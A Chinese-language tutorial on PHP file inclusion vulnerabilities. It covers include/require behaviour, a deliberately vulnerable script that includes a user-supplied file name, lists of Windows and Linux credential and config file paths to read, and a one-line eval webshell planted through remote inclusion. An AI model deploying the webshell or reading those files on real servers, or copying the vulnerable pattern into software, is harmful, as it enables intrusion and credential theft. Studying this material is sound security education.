文件包含漏洞
開發人員通常會把可重復使用的函數寫到單個文件中,在使用某些函數時,直接調用此文件,而無需再次編寫,這種調用文件的過程一般被稱為包含。
為了使代碼更加靈活,通常會將被包含的文件設置為變量,用來進行動態調用,但正是由於這種靈活性,從而導致客戶端可以調用一個惡意文件,造成文件包含漏洞。
1. 包含漏洞原理解析
大多數Web語言都支持文件包含操作,其中PHP語言所提供的文件包含功能太強大、太靈活,也就導致文件包含漏洞經常出現在PHP語言中。這里就以PHP語言為例。
PHP中提供了四個文件包含的函數:
- include( )
當使用該函數包含文件時,只有代碼執行到 include()函數時才將文件包含進來,發生錯誤時只給出一個警告,繼續向下執行 - include_once( )
功能與 Include()相同,區別在於當重復調用同一文件時,程序只調用一次 - require( )
require()與 include()的區別在於 require()執行如果發生錯誤,函數會輸出錯誤信息,並終止腳本的運行。 - require_once( )
功能與 require()相同,區別在於當重復調用同一文件時,程序只調用一次。
2. 文件包含分類
2.1 本地文件包含
當包含的文件在服務器本地時,就形成了本地文件包含。
做個簡單的測試:
index.php:這里用GET獲取文件名
<?php $file = $_GET['file']; if(isset($file)){ include("$file"); }else{ echo "file fail!"; } ?>
include.php :被包含的文件。實際上被包含文件可以是任意格式的,即便與當前編程語言無關,甚至可以是圖片,只要文件被包含,其內容會被包含文件包含,並以當前服務器腳本語言執行。
<?php
phpinfo();
?>
運行結果展示:
這時,如果被包含的文件內容不符合php語言規范的,會直接將文件內容(源代碼)輸出,如:
2.2 遠程文件包含
要使用遠程文件包含功能,首先要確定PHP是否開啟遠程文件包含功能選項(默認為關閉),需要再php.ini配置文件中修改,修改后重啟Web容器服務使其生效,修改內容:
下面是PHP遠程文件包含的例子:
index.php頁面的代碼不變,我們在虛擬機創建被包含文件,文件內容:
訪問URL:http://192.168.3.134/814/123.txt(這里我們知道虛擬機的ip,換掉127.0.0.1),包含成功

3. 文件包含利用
3.1 讀取敏感文件
常見的敏感信息路徑:
Windows系統
c:\boot.ini // 查看系統版本
c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件
c:\windows\repair\sam // 存儲Windows系統初次安裝的密碼
c:\ProgramFiles\mysql\my.ini // MySQL配置
c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root密碼
c:\windows\php.ini // php 配置信息
Linux/Unix系統
/etc/passwd // 賬戶信息
/etc/shadow // 賬戶密碼文件
/usr/local/app/apache2/conf/httpd.conf // Apache2默認配置文件
/usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虛擬網站配置
/usr/local/app/php5/lib/php.ini // PHP相關配置
/etc/httpd/conf/httpd.conf // Apache配置文件
/etc/my.conf // mysql 配置文件
3.2 遠程包含Shell
如果目標主機 allow_url_fopen 選項是激活的,就可以嘗試遠程包含一句話木馬。通過上文遠程包含提到的方法和內容進行上傳,可以在訪問的目錄下生成shell,內容為:
<?php @eval($_POST['cgq'])?>
然后通過蟻劍就可以連接:
3.3 本地包含配合文件上傳
可以通過上傳文件的方式上傳一句話木馬並拿到路徑,在URL中接路徑,包含一句話木馬的文件.
3.4 使用PHP封裝協議
名稱 | 含義 |
file:// | 訪問本地文件系統 |
http:// | 訪問 HTTP(s) 網址 |
fftp:// | 訪問 FTP(s) URLs |
php:// | 訪問各個輸入/輸出流(I/O streams) |
zlib:// | 壓縮流 |
data:// | 數據(RFC 2397) |
ssh2:// | Secure Shell 2 |
expect:// | 處理交互式的流 |
glob:// | 查找匹配的文件路徑模式 |
phar | PHP歸檔 |